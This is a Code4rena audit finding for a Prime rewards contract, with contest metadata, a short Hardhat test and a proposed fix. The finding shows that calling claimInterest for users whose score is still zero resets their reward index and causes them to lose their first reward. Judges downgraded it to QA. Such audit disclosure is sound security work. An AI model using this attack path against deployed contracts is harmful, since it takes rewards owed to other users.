Platform: Code4rena
Start Date: 28/09/2023
Pot Size: $36,500 USDC
Total HM: 5
Participants: 115
Period: 6 days
Judge: 0xDjango
Total Solo HM: 1
Id: 290
League: ETH
Rank: 77/115
Findings: 1
Award: $4.37
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Bauchibred
Also found by: 0x3b, 0xDetermination, 0xMosh, 0xScourgedev, 0xTheC0der, 0xTiwa, 0xWaitress, 0xdice91, 0xfusion, 0xpiken, 0xprinc, 0xweb3boy, ArmedGoose, Aymen0909, Breeje, Brenzee, Daniel526, DavidGiladi, DeFiHackLabs, Flora, Fulum, HChang26, Hama, IceBear, J4X, Krace, KrisApostolov, Maroutis, Mirror, MohammedRizwan, Norah, PwnStars, SPYBOY, TangYuanShen, Testerbot, ThreeSigma, Tricko, al88nsk, alexweb3, ast3ros, berlin-101, bin2chen, blutorque, btk, d3e4, deth, e0d1n, ether_sky, ge6a, gkrastenov, glcanvas, hals, imare, inzinko, jkoppel, jnforja, joaovwfreire, josephdara, kutugu, lotux, lsaudit, mahdirostami, merlin, n1punp, nadin, neumo, nisedo, nobody2018, oakcobalt, orion, peanuts, pep7siup, pina, ptsanev, rokinot, rvierdiiev, said, santipu_, sashik_eth, seerether, squeaky_cactus, terrancrypt, tonisives, twicek, vagrant, xAriextz, y4y
4.3669 USDC - $4.37
When a new market is added on Prime contract , all users have score = 0 . If an attacker calls claimInterest(address, address) for every eligible user before their score is updated, he can receive the entire reward.
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
it("Test", async () => { //INITIAL SETUP await prime.addMarket(vbnb.address, bigNumber18.mul(1), bigNumber18.mul(1)); //update score for attacker await prime.updateScores([user1.getAddress()]); await protocolShareReserve.getUnreleasedFunds.returns(1000); await prime.accrueInterestAndUpdateScore(user1.getAddress(),vbnb.address); let accrued1 =await prime.interests(vbnb.address,user1.getAddress()); console.log(accrued1.toString()); // OUTPUTS: 900,100000000000000019994,9 //Call claimInterest for other users with not updated score await prime["claimInterest(address,address)"](vbnb.address, user3.getAddress()); let accrued3 =await prime.interests(vbnb.address,user3.getAddress()); console.log(accrued3.toString()); // OUTPUTS : 0,100000000000000014529,9 });
As you can see in the code , user3 's rewardIndex was updated but he didn't receive any reward. This will therefore lead to the loss of the first reward for all users who had Score = 0 when the attacker calls claimInterest(newMarket,victimAddress).
Manual review, Hardhat
Change _claimInterest from :
interests[vToken][user].rewardIndex = markets[vToken].rewardIndex;
to :
if (tokens[user].exists && interests[vToken][user].score != 0){ interests[vToken][user].rewardIndex = markets[vToken].rewardIndex; }
Other
#0 - c4-pre-sort
2023-10-07T00:07:22Z
0xRobocop marked the issue as duplicate of #188
#1 - c4-judge
2023-10-31T19:11:28Z
fatherGoose1 changed the severity to QA (Quality Assurance)
#2 - c4-judge
2023-11-03T02:13:00Z
fatherGoose1 marked the issue as grade-b